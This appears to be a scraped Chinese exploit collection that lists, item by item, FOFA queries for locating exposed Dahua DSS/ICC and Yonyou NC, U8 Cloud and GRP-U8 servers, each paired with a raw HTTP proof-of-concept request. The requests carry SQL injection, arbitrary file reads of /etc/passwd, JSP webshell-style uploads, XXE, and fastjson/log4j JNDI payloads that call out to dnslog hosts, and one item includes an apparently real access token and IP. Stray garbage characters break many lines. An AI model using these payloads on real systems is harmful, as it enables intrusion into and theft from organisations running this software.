# L8 S3 F) L/ h* G- TFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 P0 ~8 m! u6 g' Q2 z% U7 B, bContent-Length: 345
, J$ l; K  q% yAccept-Encoding: gzip
; f" K) a' \. B7 O; h) D) k" X
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
, O) m% W4 N8 }* x    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
! O' w! A% c% L) X# ^& [  k0 f  </s11:Body>
</s11:Envelope>
+ @: v2 ~9 ?8 G! }
+ m; T- }; M9 h( _1 g
& k- ]7 Z3 n! }18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
" ^# S5 ^2 S" L% W' N* tFOFA：app="dahua-DSS"
  B* E5 ^4 s% u2 K, BGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
/ q/ }, ?, g6 g2 A2 I8 X: xConnection: keep-alive

0 L( R. L* U/ `  Q- B- p* N: l
. q; O# G9 ~' m8 v+ x; S
3 n3 O; I/ v* w3 L19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
' ?" a0 N/ p/ zFOFA：app="dahua-DSS"
" Y* G( A( D% r" ?# i$ vGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
: V4 C& R4 J; k5 B$ oUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
2 o$ E. ^. a# l+ w4 y1 z1 ZAccept-Encoding: gzip, deflate
Accept: */*
) c' p8 ?( h5 D8 o; W  D5 J2 ?* lConnection: keep-alive
" t8 {2 s9 ]5 M$ J

$ m. L5 n; o" D# M( p20. 大华ICC智能物联综合管理平台任意文件读取
/ D7 R! J0 {! f, h+ x( v  C; `FOFA：body="*客户端会小于800*"
7 @% q6 T7 [7 {; CGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
2 a2 K. |, `6 q& c/ z6 i) uHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
+ O' y: P9 M& D8 `( zAccept: */*
3 {, T& X2 [0 z& QAccept-Language: en
Accept-Encoding: gzip
! _8 W/ O8 C: G( P+ Y

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
# g& X" L" V+ w- E9 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
& ]1 ^6 G' U3 q1 h+ e: L' t0 GAccept-Encoding: gzip
7 ]! k4 G: \) WConnection: close
Content-Type: application/json;charset=utf-8
/ w: |% H* G# y: u& ^% C# [
% x! @: m/ M  L8 R5 i7 h{
0 [: ^3 u: u4 ]0 M8 z' E( H"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
# n) F+ Y' u( o9 {
7 M. s% J3 ^- i5 Y8 J
  j3 W4 z' V0 v* U7 ^$ G( z22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
" w* V( _" L9 G7 [& h
{
% A+ r$ X$ n9 u' B" ^" Y"loginName":"${jndi:ldap://dnslog}"
}
# d: O  }7 g$ O; U  a  Q
2 U! o5 p2 Q) @4 H3 K9 [) j' Q
5 e. i4 C8 T" C% L8 M4 Z( N
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
- d: q6 w$ C2 n# T% tHost: your-ip
  R; `$ _( L) i3 |# x: B' o* x9 m% R5 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
# ?0 t9 o8 S( G, Z1 ?# wAccept-Encoding: gzip
Connection: close
6 Y' J. G( b) V# N
0 `! n9 M/ q& w{
' ~7 c1 p- T; B8 `% i$ z3 X1 J    "a":{
! R/ m2 i$ Y+ q        "@type":"com.alibaba.fastjson.JSONObject",
( M+ P* v0 K! d% |6 M' F' H       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
% U* b% P7 s6 G6 Z6 e& t4 O}

& m9 s5 u+ o# {5 ?+ p7 G
5 n1 u. k+ v$ t& D24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
/ j3 w# E0 R& ~Host: x.x.x.x
" Z% O2 {8 y& v: h; t) V4 ZUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
* O' B0 @+ r' S% Y9 `: QConnection: close
" v! P  x  I  W# y# DContent-Length: 449
0 R% u8 U$ K/ B4 S# ~3 T+ M" FAccept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

5 D7 C/ f  W( G2 |( d, I-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
( u0 ?6 y. r' r; zContent-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
' q$ Q9 a, h! m$ \# I' bContent-Disposition: form-data; name="fname"
0 Q/ r" o2 C( m3 j
$ D* f+ U3 M  n! H6 C\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
, C) O. R% c. J% K! S% O

4 O4 _% ~5 J& v- |7 ]! [25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
: l" u. _6 S6 C9 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
7 G# N- K4 A& W6 M6 ]4 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
8 t4 E6 d" ]& pContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
& B& |1 p0 u" j% [' V
: v/ Q/ X! P0 l; G" s, H' Q3 S9 v

26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
4 f; d: Z6 V1 }- lGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
! U0 z9 p; \" f( i' v# p+ z" VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
3 t4 K# d9 z0 ~- W$ j4 h
- N# G8 W' {( o% g3 w
27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
4 c( ^! m( ^5 R  K" {) N% z* pConnection: close
% b9 K% y6 F+ Q5 w. vContent-Type: text/xml; charset=utf-8

$ b) w& q1 E- _* i) H0 d1 A
0 H6 w1 d: G. t28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
, p% C( X% O4 U9 Y" O) ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
3 ?$ z0 }% k' k" L" @7 VConnection: close
  P/ x% t+ r; M4 ~5 k& S4 rContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
& ?( C* j6 ^) P3 B4 h2 nAccept-Encoding: gzip
  F& X" M9 y8 t& u' V
" H1 f7 I5 z1 O9 j$ I* a' u------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
7 @. f# ^; H2 _9 l( ~( [
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
- \+ O# l  V6 m; v

/uapim/static/pages/nc/head.jsp
- T) d/ j( C$ j6 t5 M
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
" v" `# F3 r4 W. rHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
2 D- v6 `+ }/ l! MAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  y1 @! w0 k" I/ A# \$ ^

30. 用友NC importPml SQL注入
# l3 r. [' d- [# p+ e- vFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
- P9 W3 a" ^" mHost: your-ip
1 g" H2 c+ l* ~6 G' d1 ]6 z0 sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
9 v2 d8 b4 y6 c7 r7 K4 r& K: WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
3 X& S2 B9 Z. |2 [Connection: close
  l- @: W5 l+ Q3 d( ?' {' w7 n$ ^
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
$ [7 ?5 I7 w4 b9 x. F! L( L* Cversion<=6.5
( n; ?* S% |. H8 ^FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
% {+ c, ~4 j# x0 c% `GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
% Q( `% H* k) o) r2 w3 `Content-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
/ m3 N  r2 L$ [0 sversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
* r) S3 O$ z5 R, \Host: your-ip
$ d- H4 d2 [8 j9 M7 b7 |5 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: a3 O% q  j3 \, M2 a$ J# ]9 {Content-Type: application/x-www-form-urlencoded
* a: \6 h+ R( g7 O' A! [) F1 sAccept-Encoding: gzip, deflate
4 c5 }' P! k8 z, y  m0 DAccept: */*
Connection: keep-alive

9 E4 T7 \+ X) S0 y7 D
& k; P* y* O3 ]$ G1 ]3 A& U33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% F+ v. {% u2 @! ^Host: your-ip
( R% p3 o6 E$ P8 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
8 U1 _$ {1 l2 a# [Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

8 j- C+ P9 ?( X: j2 {
34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
& N( }9 J8 w5 X" t5 W! o: nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 Q+ v/ v% @; L+ ^5 V. M6 ~Content-Type: application/x-www-form-urlencoded
' a' G. _8 `! G1 A& E. O# S: aAccept-Encoding: gzip, deflate
Accept: */*
8 p: x1 n' V5 w- n9 B- w8 pConnection: keep-alive


6 h$ m0 C4 a: o$ R5 h35. 用友NC-Cloud importhttpscer任意文件上传
2 T; _/ s4 n# x0 B! ?& B# NFOFA：app="用友-NC-Cloud"
$ E  }( H' G4 d% [  V6 pPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
& p, y3 h: C% T; ?9 Q2 N  `4 ~* xHost: 203.25.218.166:8888
9 L2 z9 A( O) \) u) @! a" k! i# BUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
% f6 r2 a+ l3 _: A" Y( @5 ?6 U. [Accept-Encoding: gzip, deflate
; d$ u/ N% @- [, y# L8 M7 L( FAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
$ F- i0 k4 j+ |5 @2 m6 ?+ _
' a, \1 o5 b" C3 s--fd28cb44e829ed1c197ec3bc71748df0
/ X, j, J0 C6 C) WContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
6 t& f* _& p) ^' r  p4 H
/ Y& ?* b" m* b<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
1 D" o8 S* X( @3 ^: nPOST /uapws/soapFormat.ajax HTTP/1.1
: g# ~8 O" {2 E+ _' O6 v4 hHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
  V* n" H  b& m$ N3 P' H( VContent-Length: 263
" I5 j, T: `9 C& F* yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- h( y- I6 a' C: A. m  P; yAccept-Encoding: gzip, deflate
5 ^  R% S" c7 `: B" K" |& Q$ aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( J: N$ h3 Q) {/ K3 h0 S/ W( e% XConnection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

6 a5 R3 w1 z6 m5 hmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
* t4 ]! n; x4 q3 IPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
- `) V& E: p! c5 q( d$ PHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 s2 e7 }2 u2 y! U- ]  a0 [Accept-Encoding: gzip, deflate
: s( O7 J( f9 ?' @Accept-Language: zh-CN,zh;q=0.9
' Q+ F+ [. o" L% M* ~9 ?5 KConnection: close
9 P- D/ n3 Z2 k( p; dContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

/ `' r0 J/ l& n$ S<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
# C* b4 k4 q9 g3 t<soapenv:Header/>
. q1 D6 W7 m/ S0 X<soapenv:Body>
# T4 y9 \4 M2 V<iup:getResult>
  y, a2 S: U" P/ x& P8 C<!--type: string-->
0 Z/ _( P9 {& K; G<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
# e' i" r( T; v: c* O) Y<xxx/>]]></iup:string>
  d, C4 G: [5 `; m</iup:getResult>
</soapenv:Body>
1 H* B! U* U( O, y$ J. K3 v# `3 |</soapenv:Envelope>

$ }  v4 W7 P6 L9 K
8 ?( |: ~; r0 z2 L. S3 o
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
: Q1 `8 _( Q% r' _4 aPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
" W% y3 [, F9 B# D6 rHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
2 B# ^2 J0 B; y- iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
9 n1 R4 z7 A4 \, p* @1 x) HAccept-Encoding: gzip, deflate
, e6 s) @# R/ j6 J" n4 G# }) N) y4 GAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
' s9 u+ W+ R/ c) W
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
" T/ y7 @9 Y. z% K$ p- \

' X4 u# l3 Z% z+ E8 |39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
1 Z% a0 W- e$ b2 j* pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
% L0 b& Y! [: X  p  X3 \5 P0 L8 ?! ?Content-Length: 85
Accept: */*
# ^* i- Q' x5 R* i0 U) dAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
' `. Y8 Y& P3 ]- ]1 [3 x/ {
' h9 e0 G0 i, Y4 _usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
  q# R6 I# w0 ^! W% v# LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
( p" ]2 n4 Z+ w! h- Q6 o/ l
0 i* c1 S/ }2 |  H9 N0 N0 E3 Q0 O
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
" {2 s0 c( o) o1 f, kFOFA：app="用友-U8-Cloud"
2 l6 ]/ E! ?8 M! \& a1 p% SGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
9 Q! V' s0 l! [' \Host:
+ q0 K- a, k* ], n; H4 Q8 z' aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. B1 O# Z" D% h9 B8 \: b# K* AContent-Type: application/json
5 [: X, k$ q: `) O& m7 JAccept-Encoding: gzip
5 h/ D+ K% @( g+ IConnection: close


) G! @8 b1 ]" l  o42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
/ H, p' L+ u- KContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
" f$ D. n, @8 x" z" AFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
4 _9 n# o: W$ I1 i2 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) c6 i* c1 m% Y& V) N$ M/ [Accept-Encoding: gzip, deflate
1 x2 `" [! E/ {' H' B& ~1 @/ fAccept-Language: zh-CN,zh;q=0.9
: S2 _7 k% p4 z/ p- z9 q2 D  ZConnection: close
SOAPAction:
# G5 Q# W: j. U7 M, i/ V5 YContent-Type: text/xml;charset=UTF-8

$ ~3 B' |+ m# T<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
7 f- ?; V" ~3 s. ^! i4 t" ^3 c8 S      </ser:getUserNameById>
   </soapenv:Body>
! L9 j" X& g  H" t" f. Q</soapenv:Envelope>
9 m1 e) M% H8 c$ S; y
' p( ~+ D0 N8 o3 L, }) k( _7 u
6 E& x% s5 r+ i) s9 s% I44. 用友GRP-U8 bx_dj_check.jsp SQL注入
$ F9 b& K. [0 `- L. ?( `& g7 cFOFA:app="用友-GRP-U8"
1 j& W8 m4 M/ x) a# ]8 SGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 l3 q! [0 f# T4 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
1 m) c* w# @0 V# q( N: `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" ^# n8 e3 ^' CAccept-Encoding: gzip, deflate
' c( [) z6 j$ r1 |/ j  q/ k! pAccept-Language: zh-CN,zh;q=0.9
) b+ H6 P$ f; w8 p9 CConnection: close
9 f' u7 K8 ?7 {0 O/ {) h
, Q6 y5 P- @) F, E
45. 用友GRP-U8 ufgovbank XXE
0 C) ^% ^8 I, r$ iFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
4 @$ c3 B  b7 LHost: 192.168.40.130:222
% ]7 S& ^' y& EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
+ }6 u/ w6 h& U4 ?" Z7 K# XConnection: close
, |& r# [+ r- z+ c# X: F6 dContent-Length: 161
3 ?: D& X/ Q" sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  _) k/ c3 v2 t$ Z: ^9 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
, [) x& K8 _9 Z5 C2 J& z4 yAccept-Encoding: gzip
9 \& d( X  O5 Z( g% R- G6 J
reqData=<?xml version="1.0"?>
" `4 F- R- N2 e" u7 v2 H) d<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
  H# w5 ?, k* K

! H9 @6 x+ k2 _9 X& w5 g46. 用友GRP-U8 sqcxIndex.jsp SQL注入
2 m( @$ X5 ~. u$ z/ _* Z  qFOFA：app="用友-GRP-U8"
& H1 _/ F& r" W3 M2 w  y2 uGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
/ d4 M) O% T& ~' _1 J% l0 ]) |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
+ l* C; i, {2 n6 p/ ]+ CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* q8 l5 O2 Z7 V, h" l0 fAccept-Encoding: gzip, deflate
! e  |) {4 T- i( hAccept-Language: zh-CN,zh;q=0.9
. g. C$ l2 b7 i8 fConnection: close
- M2 w) o4 ?: i5 G2 F

47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
: s) K- E  X  S. A; uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 S* p" C& O& _# u! j1 g) oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
: }: ]' ]9 g7 E7 H: H) E4 cAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
# s% M7 `5 j$ }4 R


' v9 s! @4 o; S# D# F* p( Y48. 用友U8 CRM swfupload 任意文件上传
4 R5 d/ O4 ~9 l/ B1 w0 D0 tFOFA：title="用友U8CRM"
